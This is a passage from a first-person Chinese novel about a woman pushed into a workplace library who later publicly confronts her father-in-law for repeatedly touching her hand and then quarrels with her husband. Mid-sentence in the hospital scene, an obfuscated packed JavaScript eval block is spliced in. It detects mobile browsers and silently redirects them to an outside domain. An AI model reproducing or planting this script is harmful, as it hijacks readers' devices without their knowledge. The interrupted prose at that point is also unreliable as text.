“那我再看看,不行就看别的。”她说。 “嗯。你随便。”我说。 “问一下哈,你是生病了吗?”她说。 “不是,就是被调过来的。”我说。 “不好意思啊,因为印象中,只有生病了的才会在图书室的。”她说。 “没关系。”我说。 “你原来是哪儿的?”她问。 “《小坛》的。”我说。 “《小坛》待遇好,福利好,还比这儿轻松,你怎么肯来?”她问我。 我笑笑说:“人家领导让我来,我能不来嘛。人家都嫌弃我了,我还能赖着不走啊。” 她说:“要我我就不走,就呆在那儿恶心他们。你怎么没去闹?要我我就去闹,凭什么?” 我说:“我一开始也是委屈,也想去讨个说法,我那时候孩子才一岁呢。他们就对我下手了。可是闹了又怎样呢?说不定人家会对你更差。再说了,我也没那份儿上进心了,不想为他们拼命了。他们爱怎么样就怎样吧,我现在看看书,挺好的。” 她说:“你其实是有的,我懂。你是活活地被打击地。好好地一个人被打击成这个样儿了。” 我说:“我小孩儿小,夜里要换尿不湿,冲奶瓶,经常睡不好觉。确实也遭人嫌弃的。” 她说:“你小孩多大了?” 我说:“现在两岁了。” 她说:“我的也两岁了。” 我说:“我看你这么年轻,以为你还没结婚生孩子呢。我看你平时也不怎么说话。” 她说:“我不想说话。我是新来的,要保持神秘感。” 我说:“你原来是在哪儿的?” 她说:“玉融的。” 我说:“玉融离这儿蛮远的。你上班跑地辛苦吧?” 她说:“我家是青提的。我是因为在玉融上班不方便,想办法跨区调过来的。” 我说:“哦。我不知道这些。” 她说:“这儿的人嘴蛮碎的,我平时不怎么跟她们说话。我跟你第一次见面,你怎么跟我说那么多,你就不怕我是领导的亲戚,转头儿去领导那儿告你一状啊?” 我说:“不是你问我的嘛。” 她说:“我问你你就说啊,你不怕我出去跟别人说啊。” 我说:“我不觉得这是什么隐私啊,全《喵一生》的人都知道啊。再说了,我也没说什么过分的话啊,我还是很老实的。” 她说:“的确,你一看就很老实,怪不得领导欺负你。” 我说:“我从见到你就觉得你有点与众不同,你一直很严肃。你看起来不像是那种爱八卦的人。” 她说:“谢谢你对我的信任。” 我说:“你是哪个大学毕业的啊?” 她说:“青竹市体育学院的。” 我心里想,体育生啊,怪不得说话那么别扭。 我说:“我还是应该谢谢你提醒我,以后跟人说话还是要注意点儿。” 她说:“是的呢,这儿的人可爱八卦了。我走了啊。” 我说:“好的,再见啊。” 我的手指因为下水多,裂了口子。我敲打键盘的时候,我手指上的血碎在了键盘上。我用卫生纸擦擦,继续敲打。 一个年纪大的保安抱了一摞子报纸来了。 “早!”我说。 我跑过去接过保安手里的那摞子报纸:“给我吧,你辛苦了!” “没事儿!”保安说。 我开始整理那些报纸,把它们分门别类地摆放起来。 两个五十多岁的保安进来了。我一看就知道他们是闲来无事来瞎逛的。 “早啊,看到你们我还蛮害怕的。怕你们把我抓了去!”我笑着说。 他们不说话,手插在裤兜里,优哉游哉地在一排排的书架前瞎逛游。 “呵呵!检查吧,检查检查哪里有地雷。”我笑着,拿起桌上的杯子,也手插着兜走开了。是的,我没工夫跟任何人闲扯淡。谁也别指望我跟他闲扯淡,尤其是男人,尤其是那些油腻的男人。这些男人,天天吃饱了没事儿,都会瞎猜省一些美事儿出来,我知道你们肚子里有多浑。 4.吃饭.喝水 我吃饭的时候就喜欢自己躲在角落里吃饭,我说实话,我真的喜欢一个人吃饭,因为这样清净,不用费心思跟谁絮叨,也不用考虑谁的喜怒哀乐,更不用看谁的脸色,重要的是,我可以自己边吃饭边刷手机。可是因为我这样被废置的处境,人家会认为我是出于自卑或是自暴自弃而选择一个人吃饭。无所谓,随便他们怎么说吧。可是一个人躲在角落里吃饭的感觉真的很好啊。 我喜欢在员工食堂的隔壁餐厅里吃饭,在那儿吃饭更省心,因为除了食堂的人和值班的编辑,大部分人根本不会去那儿吃饭。于是,我就在员工窗口打了饭,穿过中间的小门儿,到一墙之隔的隔壁去吃饭。 一个值班的女的端着盘子过来了。 “你怎么不去对面吃饭?”她问我,“对面有空调。” “这儿可以刷手机。”我说。 “对面也可以刷手机。”她高深莫测地笑着。 我不说话了。我跟她解释什么?随便她怎么想吧。我是自卑,觉得自己不如人,我没脸去那边儿吃饭,好吧?随便你怎么想去。 张菲过去了。她看见我在这儿吃饭,跟我说:“到对面吃啊,干嘛一个人在这儿吃啊?” 我说:“这儿清净,我喜欢一个人吃饭,可以刷手机。我夜里带孩子头疼,我想赶紧吃完回去休息一会儿。” “你是怕他们看见你觉得你碍眼吗?我就偏在那边吃饭。我碍他们的眼我快乐。”张菲说。 “不是。我倒是觉得他们碍眼。那些油腻大叔的声音我真地一点儿都不想听,他们边吃饭还要边讲话边开屏,我不看不听也是一种快乐啊。” 是的啊,谁能真地理解我的快乐呢。谁能知道一个人吃饭是多么快乐啊。不用听,不用想,不用烦,就对着盘子里的肉、菜和米饭,这对我来说真是一种享受。再说了,我噼里啪啦地忙了一上午了,哪有心思再去听谁说话,哪有心思再去配合谁说话呢。不就是吃一顿饭嘛?我想怎么吃就怎么吃好了。我带着自己满腹的心事去吃饭,吃饭是给我自己补充能量,我吃完饭还要回去继续干。我哪有心思去管别人呢。 我喜欢吃饭,我知道我的食欲很好,我热爱吃饭,热爱红烧肉。我吃饭的时候先吃红烧肉再吃素菜,这符合我的本能的欲望,也符合现实的境况。是的,我现在活地像是惊弓之鸟一样,连吃个饭都没有安全感了。我要上来就先把肉给吃了,免得有一个突发情况,让我连我碗里的几块最心爱的红烧肉都吃不成了。 是的,我爱吃饭,我要好好吃饭,我吃好了才有能量去干。我不减肥,我要满足我的胃,我身上有肉才能扛事儿。我低头吃饭,谁都不管。我的旁边的过道上,两对腿脚从婆娑的大衣中挥洒着朝我走过来了。不知道是哪个小姐或是太太的,我低着头吃饭,不去管她。 韩楚从我身边走过去了,她用她温柔的手轻轻地拂了我一下:“我上次借的书还没还呢!”她回头笑着跟我说。 我一时不知道该说什么。是的,在她们的眼里,我就是一个被废弃的人,我所有的工作和心思也就是看着傻子都可以看守的那一架架的书,然后混吃等死。她们都是被重用的栋梁之材,只有我是一根废柴被晾在一边,等着自行枯朽腐烂。舍此之外,我再没有什么好事情来填充我的生命了。 殊不知,我的时间比她们的都要宝贵,我过得比她们都要充实。我他妈的比她们都要充满斗志。可是,我跟谁解释?谁信我的解释。我现在是手面子着地了,谁还看得起?我跟她们做那些无谓的解释又有什么意义?让她们去想好了,我要的是去干饭! 是的,去吃!去干! 饭后,我回到图书室里,正准备出去上个厕所再回来午睡。我转过身儿朝侧门儿走去的时候,迎面走来一个人,像影子似的悄无声息地走来了一个人。我猛地吓了一跳。 “毛主任?”我讶异地说。 “哈哈哈哈哈哈!”毛学望张开嘴,切着满口的牙,像是一个松鼠似的笑着说,“我来看看书!” “哦。我还打算午睡的呢。”我还是有些讶异地说。 “你在哪午睡?”他问我说,“我去二楼看看书。” “我去上厕所。”我说。我低着头远远地从他的另一边走过。 我心里有些气恼,大中午的他来图书室干什么?他要看书他早不来吗?他现在来干什么?他那么大的领导,他想看多少书,他随便拿就是了,他用得着亲自到这儿来看。 我不管,我正常午睡。我需要午睡,否则我一下午头脑昏昏,我的时间等于荒废。我还要干活儿呢。我把我的躺椅拉过来,把我的手机开启了录音。我就开始午睡。空荡荡的图书室里只有我跟他两个人。我量他也不敢怎么样。他敢来找我的事儿,我就去告他!我这样想着兀自躺下了。可是我没办法安静下来。咳嗽,剧烈地咳嗽。我那时候可能已经得了肺炎了,只是我不知道。我控制不住地震天响地咳嗽着。我听到侧门儿那儿有哗啦啦的声音。可能毛学望觉得我这样咳嗽也是扰了他看书的兴趣,他应该是夹着尾巴又悄无声息地走了。 下午的时候,我端着水杯出了图书室的门儿,我想喝水。是的,我很忙,我忙地不可开交。只有吃喝或是排泄,我才肯舍得走出那禁闭我的小窝儿。 外面,天上的白云像两只白狗,一只追着另一只在走。一阵狂风吹过,树上的树叶像雪一样飘落。树叶几乎要被吹光了,她光着腚,裸露着四肢。旁人肯定以为她丑死了要羞愧死了。殊不知,没有花朵和枝叶的装饰。她变得更强劲了。那些枝条像铁条一样伸啊伸晃啊晃。那风在她头上鬼一样吹,那叶儿在天上纸钱儿似的撒。她在祭奠什么?祭奠她曾经为这片天空奉献过的青春与热情,执着与冲动。祭奠她被毫不留情地剥夺殆尽的尊严与热血。那些叶子从半空飘落,停息在地,一个个的,像枯萎的蝴蝶。 我拿着水杯去饮水机前接水喝。我矮矮胖胖,穿着白白的厚厚的羽绒服,像个漂浮着的大号塑料袋一样。 天越来越冷了,我一件件地加衣服,还是赶不上天冷的速度。我站在饮水机前头,56度的温水朝着我的玻璃水杯呼啦啦地流淌。 那些女人来开会了,那些女人捧着会议记录意气风发地走在大路上。她们看着我,像是看着一个前来喝水的野兽或是游魂。是的,她们要喝水。一个被废置的女人也要喝水。我知道她们的手里捧着的会议记录是多么高贵,我曾经捧过的会议记录比她们的还要高贵。她们像一群团结紧密的花儿一样向我走来。她们看着我,像看到一个枯萎的花朵,她们脸上的花儿绽放地更加烂漫,她们的笑容变地更加热烈了。 “尊敬的各位领导!各位来宾!诗词是永不凋零的玫瑰。今天,我们欢聚一堂,来共同领略大美诗词的魅力之光!”作为废弃之人,这样的会议我是没有资格参与的。我听着会议室里的抑扬顿挫的女音,仰起头儿来,把那杯56度的温水灌下了胃。 我看看窗玻璃,那上头的人来来去去,在玻璃上留下匆匆的影迹。那玻璃不言不语。对于它来说,谁来谁去,谁高贵,谁低贱,其实都没有关系,浮光掠影而已。 人都是一样的皮肉裹着一身毛翼,整日奔忙,也不过为的是暂时维持这一身□□,还有这□□上的灵魂的延续。在时间的风尘里,人不过是磨眼里头的豆子,谁白白胖胖,谁干干瘪瘪,谁高高在上,谁被撞破了脑袋,踢肿了脸,也不必太得意。在历史的磨台里,人都会化为齑粉,或迟或早而已。 可是,人还是要活的,水还是要喝的。我又接满了一杯水。走向围墙,看着对面的田野和村庄。对面,土坡上的小路弯弯曲曲地,像是一条蚰蜒,又像是一条黄龙。那黄龙不知道是在往上爬还是在往下滑。那路也不知道是在往上冲,还是在往下走。往上冲要一步步走地坚实,往下走也要一步步地收紧着脚步。总之,是没有一步可以放松的。那条小路,阴天的时候,平淡无奇,像是一条虫。晴天的时候,金光闪闪,像是一条龙。 其实,是虫还是龙,要看你拿他当虫还是当龙。 你拿他当虫,龙也成了虫。你拿他当龙,虫也成了龙。 水塘边上,走来一群鸭子。有的身上一尘不染,抖着光滑可人的毛翼,有的屁股上有一坨泥,拖着肥肥的大屁股踢踢踏踏地跟了上去。 水边,一棵柳树是横着生长的。是的,在其他的树站着生长的时候,只有她一个人是以躺着的姿势生长的。她躺着,仰面看着她身边的那些树对她的俯视着的同情或是嘲笑。这丝毫不妨碍她拥有翠绿可爱的发梢,和弱柳扶风的身段窈窕。她只努力地生长。是的,好好的,活着就好。 或许,她也并不想这样横着生长,或许,她原本也是竖着生长的。 可是,她阻止不了她生命中的风雨轻狂。那场或是一场场的风雨把她的体面给毁掉了。他们把她给摔倒了,他们想让她倒下,想让她去死。 可是,她硬着头皮就是不去死。她硬着头皮要好好地活下去。她就躺在那儿,仰面朝天地躺着生长。谁嘲笑她也好,谁同情她也好。她只顾着赶快生长,其他的,她什么都顾不了。只要她的根还深深地埋在泥土里。她就死不了。因为是躺着的,所以她的脸贴着那湖水,她的心距离那湖水更近。她能够更清楚地看到自己的脸,她能够更清楚地听到大地的声音。 一棵树和一个人的生长没有什么区别。我记住了那棵树,我祝福那棵树。 印象里的冬天没有一点绿色。我想当然地以为,今年的冬天也是一片黑白的。谁知道,到了冬天,我才注意到,原来冬天也是绿色的。远山还是一派青绿,枝头的黄叶经秋复历冬,居然熬到了腊月。地里上了一层严霜,严霜下是蜷缩着的青菜的根茎。它蜷缩着,它确实冷。可是霜底下它的脸还是鲜活的。人们知道,下过霜以后的菜发甜,更好吃了。这么大的霜寒,不知道它的甜来自于哪里,大概来自于它的内心吧。 是的,没有一颗充满糖分的心,如何吃得了这寒霜的苦呢。 地上,砖头缝里,钻出来一丛丛的像是头发丝一样的细细的小草。它们是那么嫩绿,绿的像是它们的春天来了一样。有人说,这是过寒草。这可爱的小生命。多么倔强。它不管这世界是秋天还是冬天,它都要自顾自地生长。这世界已经枝叶枯黄,可是它视而不见,卯着劲儿去生长和繁衍。在这清凉的冷风里,它们那么可爱又是那么坚强。 墙外,一棵树的黑色枝条几乎要伸到我的发梢。毕竟是冬天,它明显苍黑了不少。它像是在泼墨画上飘下来的一样,峭楞楞地站立着,任人家看着它光溜溜的躯体。大概是被冬季的寒冷给唬着了苦着了,它的热情经不住这寒风一次次地吹,它没有了春夏时的青绿和水润。 它自己也不想这么难看的,可是,人生的冬季,任谁也躲不过去。梢头疏乱的树杈像极了它蓬松的头发。远远看去,那头发已经花白了。大概是冷地太久了,在这黑白的冬季,树干也变得苍黑了。一棵树到了冬天为什么会变得发黑呢?尽管我知道它的皮肉是白的它的心子还是红的。可是它外在的面皮确实是黑的。 它黑着脸,收缩着自己的每一个毛孔,好扛住这漫天的寒冷。到春天,只要它周边的温度足够暖,它照样可以灿烂。而今,这黑冷的空气让它没办法不是黑的。身处黑色的深井中的人是没办法笑靥如花的。 东南方的梢头上,挂拉着几片金黄的树叶,像是它仅剩的几个钗钿。是的,它被冬天剥夺了所有的尊严,只剩下这几枚旧钗钿。可是这钗钿挂在它疏松的鬓间,它像是一个黑裙金钗的老妇,越发的憔悴不堪。 它老了,丑了,它苍老的容颜吸引不来黄莺和小燕,它站在那儿像一副骨架。它孤零零的样子让自己都胆寒。那些柳树银杏还努力地保持着一些翠绿或金黄,以求看起来与那些长青的植物一样风光。可它不然,它遇暖则暖,遇寒则寒。它遇暖则掏心掏肺,欢呼雀跃,遇寒则寒透心寒彻骨,冷月无声冷若冰霜。 天上的白云多的像锅里的面疙瘩一样。墙壁上挂着一抹夕阳,像是映着灶塘里的火光。社里又大兴土木了。墙壁钉子上的塑料带子像是有灵魂一样舞动它的双臂跟我打招呼。天空上,原来的那锅面疙瘩又乱成一锅粥了。 来吧!来几场冬风,把那些枯枝败叶清扫干净。让这蓝色的清白的天空肃杀如高悬的明镜。 我端着水杯朝图书室走去。迎面,走来了一个戴着黄色安全帽的男人,他边走边拿着手机打电话。他看上去像是一个包工头。他的个子很矮,肚子高高地往前凸起,屁股更加高高地往后凸起。他是包工头,他不好看,但他会有钱。男人有钱就会有女人愿意跟他。尤其是一个寡妇,一个带着孩子的寡妇,会为了孩子而选择跟着他。那一刻,我想到了我的母亲。我一时要控制不住自己的眼泪。 我想到我的妈妈,她在我们的爸爸去世以后,她是怎样去考虑,她要不要为了我们,给她自己去匹配一个男人。是的,一个寡妇,为了她的孩子,会选择一个可以养活她的孩子的男人,一个她自己根本就不爱的男人。一个他自己也知道,这个女人如果不是因为孩子的拖累,她在年轻的时候,根本就不会选择他的男人。我的妈妈,那个时候,她拖着三个年幼的孩子啊。我永远都体会不到,那个时候,她是怎么想的。她怎么没有哭天哭地呢?她怎么还能够那么天天开开心心的啊? 自从我爸爸去世以后,我就慢慢地觉得我的妈妈,她越来越不像她自己原来的样子了。原来,为了孩子,她早就没有了她自己了。她连自己都没有了。你如何要求她还像以前那样笑语盈盈呢?我现在为了我的孩子,我把自己活成了一个战士。而当年我的妈妈呢?她一个人要带着三个孩子啊?是的,一个女人,有了孩子,她就不能只是她自己了。一个没有经济来源的女人,为了孩子,可以嫁给她根本就不爱的男人。同样的,一个弱小的女人,为了将来的孩子,为了她将来的孩子可以成为人上人,可以嫁给她根本就不爱的男人。我突然觉得这样的女人有着别样的伟大。 一个孩子,是无法真正地体会到母亲的不容易的。一辈子都不会。因为你不会过跟母亲当年一样的生活。所以你根本就体会不到母亲的苦和累。母亲是树,她把自己深深地陷入泥土粪堆,只为了让你的生活更加坚实和壮美。是的,孩子体会不了母亲的苦。即使我到了四十岁,还是没有办法去完全地体会。儿女终究是儿女,母亲终究是母亲。 5.跟老公公彻底闹崩 冬天毕竟是冬天。骑车上班,下班了把棉衣闪到一边就忙着做饭,半夜起来给宝宝冲奶。我无可避免地咳嗽了。咳嗽,剧烈地咳嗽。嗓子像是水烟袋一样,呼噜呼噜地。又像是老风箱一样,开始拉弦儿了。去药店里买了几盒药对付着。有那么几天,走路也是有气无力的。不就是咳嗽吗?扛扛就好了。也没当回事儿。 放年假的时候,我去医院里挂了个号。 “拍个CT吧。”女医生说。 “能拍胸片吗?” “拍胸片看不清楚。有的肺炎也会被看成是支气管炎的。” “那,好吧。不知道片子什么时候出来,我还要回家烧饭。” “你去拍一下,我在电脑这里就可以帮你看。” “好的。” CT出来了。 “肺炎。”女医生说,“你看看。” “我哪里看得懂。你们医生才会看。”我说。 “你不会看,我教给你。这些,这些,都是正常的。这些,是散见的炎症。”她指着电脑上的影像说。 “那怎么办?”我有些焦虑地问她。 “要住院。”她说。 “啊?我哪能住院?我小孩还小呢。可以在门诊挂水吗?”我焦急地问。 “你已经符合住院的条件了,我们不能给你在门诊挂水的。”医生说。 “那,不知道,我回到白陆可以挂水吗?我放假了,老太太急着回白陆老家呢。”我说。 “白陆那边,我不知道。你不行,等你回到白陆,你去问问看。”医生说。 “那好吧。实在不行,我就打车去他们那儿的大点儿的医院去挂水。老太太是不可能配合我在青提住院的。她急着回老家。”我说。 回到白陆以后,端午去上班,我跟老太太带着宝宝打车去医院挂水。 “给宝宝也看看吧。她咳嗽地也蛮厉害的。不把她治好,等我上班了还要请假。”我跟老太太说。 “好的。”老太太说。 宝宝的片子拍出来了。 “支气管炎。”医生说,“挂水吧。” “好,我也想给她挂水。”我说。 “你带着宝宝。我去交费。”我跟老太太说。 我在楼下跑着,交费,取药。宝宝在楼上已经开始哭闹。 “要奶粉!要奶粉!”她哭闹着。 “宝宝要吃奶了。没给她带奶粉。怎么办?已经十点半了。赶着去挂水,她肯定是坚持不住了。那就下午再来吧。”我说。 “好的。午饭去我们那儿吃吧。昨天剩的菜。我让你爸爸热一下。”老太太说。 “好吧。我们打个车回去吧。” 我们到了老太太家里,跟老头子一起吃了饭。老头子递给我碗的时候,又那么奇妙地无意地碰到了我的手。我没吭声儿。 吃完饭。我跟他们说:“宝宝要午睡了。我们走了。我带她午睡。” 老头子说:“好的。下午宝宝挂水,我也去。” 我问:“您今天不上班吗?” “他今天不上班。”老太太说。 “那好吧。”我说。 “我跟你妈妈下午两点半到你们那儿。”老头子说。 我说:“好的。” 回到家以后,我伺候宝宝喝水、拉屎,又忙了好半天。才开始带她睡觉。 两点钟,老头子老太太来敲门的时候,宝宝还在沉沉地睡着。 “宝宝,醒醒吧。爷爷奶奶来接你了。”宝宝迷迷糊糊地醒了。 我给宝宝穿好衣服。抱着宝宝出门。我们打车来到了医院大门口儿的喷泉边儿。 “来!爷爷抱!”老头子过来抱宝宝了。不知道他怎么那么会控制自己的身体总是会身不由己地剐蹭别人的。我的左边的肩背又被他顺带着剐蹭了一下。我又忍着,没说什么。 我跟宝宝一前一后挂上了水。 “你们两个一起挂啊?”护士问。 “是的。娘俩儿一起挂。我肺炎,她气管炎。”我说。 “宝宝好乖啊,挂水一点都不哭。”护士说。 “是的。她四个月的时候挂水就不哭。”我说。 宝宝在儿童区挂水。爷爷奶奶看着她。我自己在跟她对着的另一排椅子上挂水。我的座位儿跟她的只隔着一条小小的走道。 宝宝毕竟是太皮了,她把针管子给拽下来,掉在了地上。我赶紧走过去捡那条针管子。老头子也赶着去捡。我把针管子捡在了手里。老头子的手又那么神奇地贴在了我的手上。 我的整个的左手面子都在他的手里!我一时管不了那么多。 “护士!小孩儿把针管子给拔掉了!”我对着护士说。 “好的!马上就来!”护士应着。 “护士过来了!”老头子说。 “哎呀!你不要跟我交流!”我不耐烦地跟他说。 “没事儿!”老太太温温和和地说,“还可以用的。” “不行了。掉在地上了。很脏的。不能用了。”我说。 “没事儿!”护士说着,给宝宝换上了一截新的针管子! “谢谢!”我跟护士说。 宝宝没事儿了。我实在压不下心里的火。 我厉声问老头子说:“你为什么老是碰我的手?” “什么?”老头子一愣。 “你刚才又碰我的手!你怎么那么爱碰儿媳妇的手?老公公?!端午的亲爸爸?!”我瞪着他厉声问他。 老头子反应过来了!我在当众戳穿他、揭发他! “你这个鸟女人,我早就想跟你发火!”他说。 “你十次有八次碰我的手!我忍无可忍!我跟你断绝一切关系!”我站着冲着他说。 宝宝坐在椅子上看着我,不说话。老太太看着孩子,也不说话。 我站着,只要老头子冲过来打我,我就甩掉针管子跟他打架。老头子六十三岁了,一米六的个子。我自信输不到他!再说了,还有输液室里的人呢。我不信他们不拉架。 “你以后不许去我们那儿!”老头子说。 “我永远不去你们那儿!”我说。 “我走!”他说。 “你走!”我说。 “你看着孩子,我走了。”老头子跟老太太说了一声儿,转身儿走了! 我的一肚子怨气还没消散呢。我对着输液室里的人说。 “我刚跟他儿子结婚的时候,就在这个医院!在急诊室!他儿子在里头抢救,他跟我坐在外头。他拍我大腿!我跟他儿子结婚办酒席的时候。他儿子开车带着我们。他坐在后排,拿他的咸猪手扒我的左边的肩膀。孩子平时生病看病,全是我的。他难得的来一次,刚才他又碰我的手!我的整个的左手面子都在他手里!天底下有这样的老公公吗?叔叔!大爷!”我对着众人说。 输液室东边的一圈椅子上,坐着几个上了年纪的老头子,他们也在挂水。他们不说话。一个穿着白色羽绒服的女人对着一个年轻的小男生坐着,陪着他挂水。也不说话。 “像这样的,就要少接触。”过了一会儿。一个跟我年纪差不多大的妇女说。她坐在正南面的那排椅子上。她的七八岁的儿子正在挂水。她穿着黑色的羽绒服。 “我已经跟他少接触了呀。”我说,“我们一年就回来几回。去他家吃个团圆饭,他十次有八次碰我的手。他的手怎么那么神奇那么爱碰儿媳妇的手的?妹妹!你说我们这一辈子,跟男同事,男领导接触,有几个人会碰你的手的?怎么一个老公公,老是碰儿媳妇的手?我们回来这两天,我跟我老公都没碰过手。他一个老公公, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137824|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么那么爱碰别人的手的?” “但凡你老公、你婆婆强势一点,他都不敢这样。”对面的妹妹说。 “你说的太对了!我也想过他的这种心理。老头子是一家之主。老太太跟他儿子什么都听他的,都指望他。他这是不知道自己是谁了。”我说。 “这样的人,改不了的。”那个妹妹又说。 “是的!四年前,我就跟我老婆婆说了。我没越级啊!老太太不中用!也不说他,也不管他!我又跟我老公说。我老公也跟他说了。还是没用!这次说了,下次,他又碰我的手了。妹妹!我不是说我漂亮,我不漂亮。这跟漂亮不漂亮没有关系,他就是这种货。”我说。 “一个女人太不容易了。遇到这种人,也要知道反抗。”那个妹妹说。 “是的。就跟公交车上的咸猪手似的,你说他他还不承认。”我说。 “你有多大了?你看你都满头白头发了。”她说。 “我今年四十一了。妹妹。你呢。”我问她。 “我也四十一了。”她说。 “可是你看着比我年轻多了。你的头发多黑啊。”我说。 “我也有白头发了,过年了嘛,染的。但是没有你的多。”她说。 “我不想染了。自从生完孩子,对自己根本没那心思了。”我说。 “她的脸上其实还是很好的,一点没有皱纹。她要是染一下头发,起码能年轻个五到八岁。”那个穿着白色羽绒服的女人说。不知道什么时候,她居然坐到我这边来了。就坐在我的右手边。 “你刚才是坐在那边的吧?”我问她。 “是的。”她说。 “我刚才以为你还年轻,不愿意搭理我们这些中年妇女呢。”我说。 “我都快五十了。”她说。 “天呢,我都没看出来。我刚才远远地看着你,以为你是小女生,陪着小男友挂水的呢。”我说。 “那是我儿子,我家老二。”她说。 “你老二都那么大了。你还那么年轻。你也蛮会打扮的。”我说。 “女人要对自己好点。”她说。 “你对自己蛮好的。”我笑着说,“我是放弃了。我再怎么打扮,也不会升职加薪。我买个一万块钱的衣服穿上,顶多是我的钱包瘪了点儿。其他的没什么改变。” 她点了点头。 “小孩子带地蛮好的。穿地干干净净的,跟小公主似的。”那个穿黑色羽绒服的妹妹说。 “我的心思全在她身上了。”我说。 “老太太脾气蛮好的。你跟老头子吵的时候,她一句话也不说。”她说。 “她要怎么样?她要跟老头子一起骂我吗?她要是明事理的,她还应该帮我骂老头子呢。她要是有口有心,老头子都不敢这样!要是我,要是我老公这样,我早就把他骂惨了。还要儿媳妇自己出手!我把他拒之门外,我跟他离婚!老头子老是碰儿媳妇的手!这不是伤害他们的夫妻感情吗?这不是伤害她儿子吗?这不是不入人伦,不通人性吗?可是我婆婆跟我老公,他们娘俩儿,还跟没事儿的似的。他们还得跟老头子一起,说我不好。说我是泼妇。你说,在他们家里,哪有我的理!全是他们一家子的理!只有到大街上,只有叫众人们说说,才有天理!”我说。 “是的。但是毕竟是公共场合,还是要注意点。”那个妹妹温温柔柔地说。 “公共场合怎么了?遇到了老流氓,咸猪手,该跟他吵就得跟他吵。”我说。 “是的。你这样一闹,他也知道你是什么人了。”她说。 “我夏天就在老太太跟前骂过啊。我说,他要是投胎做我亲孙子,我不仅跟他握手,我还跟他亲亲抱抱举高高呢。他娘是把他生在全村最脏最臭的茅坑里头了,他怎么那么骚的。天天碰儿媳妇的手。”我说。 “你性格这样刚烈,他都敢这样。你要是软弱,他还不知道会怎样。”那个妹妹说。 “是的。我是现在社会的独立女性,他都敢这样。要是以前封建社会的小脚女人。这个老流氓不晓得会怎么样呢。”我说。 “刚才,你跟他吵的时候,有人在门口儿拍视频。”那个年纪大一点的女人说。 “她拍了多久?”我问她。 “大概有一分钟。应该没拍到你的脸。你当时背对着他的。”白色羽绒服的女人说。 “你刚才看到有人拍视频了吗?妹妹?”我问穿黑色羽绒服的女人。 “没有。我没注意。”她说。 “她大概是拍给自己的亲朋好友看看的。后来,我过来,她就不拍了。”白色羽绒服说。 “她走了吗?”我问她。 “她后来走了。”白色羽绒服说。 “我当时没有说什么过头的话吧?妹妹。”我问黑色羽绒服。 “没有。就是客观地陈述。”黑色羽绒服说。 “是的。拍了我也不怕。丢人的是老头子。我怕什么。”我说。 我打电话给端午,我说:“你在上班吗?” 他说:“嗯。在上班。” “今天的事,你爸爸跟你说了?” “嗯。” “恶人先告状啊!老流氓。老是碰我的手。忍了他几年了。以后我不去他们那儿,我在的时候。他也不来我们这儿。”我说。 “嗯,我跟他说了。”端午说。 “过年的时候,你带着宝宝去跟他们拜年,我不去。” “行!”端午说,“宝宝还在挂水吗?” “嗯。你几点下班?”我问。 “我五点下班。我下班以后去接你们。”端午说。 晚上,回到家。我跟端午说:“我以后都不去你爸妈那儿。只有他死了我才去。我跟他没办法接触,一跟他接触,他就碰我的手。骚公鸡。” “行了行了!别说了!”端午说。 “你爸爸调戏儿媳妇还不让我说了呀?是我说他在先?还是他老是碰儿媳妇的手在先啊?你们家人怎么老是不分因果,不分先后啊。”我说。 “他也就是不注意碰一下你的手。”端午皱着眉头说。 “他只是不注意吗?他怎么老是不注意啊?他怎么老是碰儿媳妇的手的?他怎么那么会不注意的?他老是碰儿媳妇的手?我都没看见他碰你的手吗?”我说。 “我们全家都不好!就你好!就你天天叽叽歪歪的。”端午说。 “当然就我好了。我像你一样好吃懒做了吗?我像你妈一样爱撒谎了吗?我像你爸爸一样没有底线,老是碰儿媳妇的手了吗?我受了你爸爸的气,我还不能说了?” “你不要跟我说。” 端午说。 “你爸爸老是碰我的手,我不跟你说跟谁说?我至少在名义上是你老婆吧?”我说。我突然间就哭了。 “乌龟老流氓!狗娘养的!看我是外地的,看他儿子不中用!想欺负我!我他妈的憋屈死了!公公是个骚公鸡!乌龟老流氓!老公是个缩头乌龟!婆婆是个昏头昏脑的撒谎精!我他妈的找的一家子什么狗屁人家啊!一个个的全他妈的垃圾!” “你怎么那么会骂人?天天叽叽歪歪的。烦死了你。”端午说。 “我骂人!我还想打他一顿呢!你眼瞎了!耳朵聋了!他老是摸我的手调戏我!你听不到!我烦死了?你爸爸老是碰我的手,调戏我。我跟你说说?你还说我烦死了?今天,人家输液室的女人都说了。但凡你强势一点,你爸爸都不敢这样。”我冲着端午说。 “烦死了!天天吵!都是你心态不好!”端午说。 “我怎么做你才觉得不烦死了?我心态不好?我把你爸爸喊来咱们三个一起睡,你是不是就觉得我心态好了?你爸爸是不是觉得你身体不行,故意来试探我的?自古有父死子继,没听说过子死父继。你爸爸想当唐明皇是吗?”我说。 “滚!”端午说。 “我滚!我可以滚! 我现在就滚!”我说着就去房间里收拾东西。说实话,大冬天,大晚上的,我带着宝宝,怎么走?毕竟是过年了。我们三个难得地聚在一起。我也不要再折腾了。我没收拾几下,又出来了。端午看着我,笑了一下。 “你爸爸欺负我,你不跟我说话。你还帮着他说话!呵呵!你是什么人。我是看透了。你走!我做的饭你不许吃!你去他们那儿吃去!我不走了!我孩子在这儿!等我孩子长大,我自然会走!你走!你别想吃我做的饭!”我说。 “行行!我不吃。我看着宝宝吃!来!宝宝,爸爸喂你吃饭。”端午说。 宝宝坐在那儿,看着我们争吵,显然是没有食欲。 “宝宝不要你管!你平时也没管过她。来!宝宝,跟妈妈一起吃饭。”我坐在宝宝身边说。 “来!爸爸喂你!”端午坐在宝宝另一边说。不管怎样,我们还是一家子,我跟端午还是最爱孩子的。 我突然间心里有些难过。我泫然涕下。 “骚公鸡!老流氓!死老头子!欺负我是外地的!没有娘家撑腰!我这辈子跟他没关系!他不死我都不去他家!他死了我讲大事我才去一下!”我说。 “你去盛饭啊。”我跟端午说。 “嗯,我马上自己盛饭。”端午说。 “今年年夜饭我们自己张罗,不去他们那儿吃。”我说。 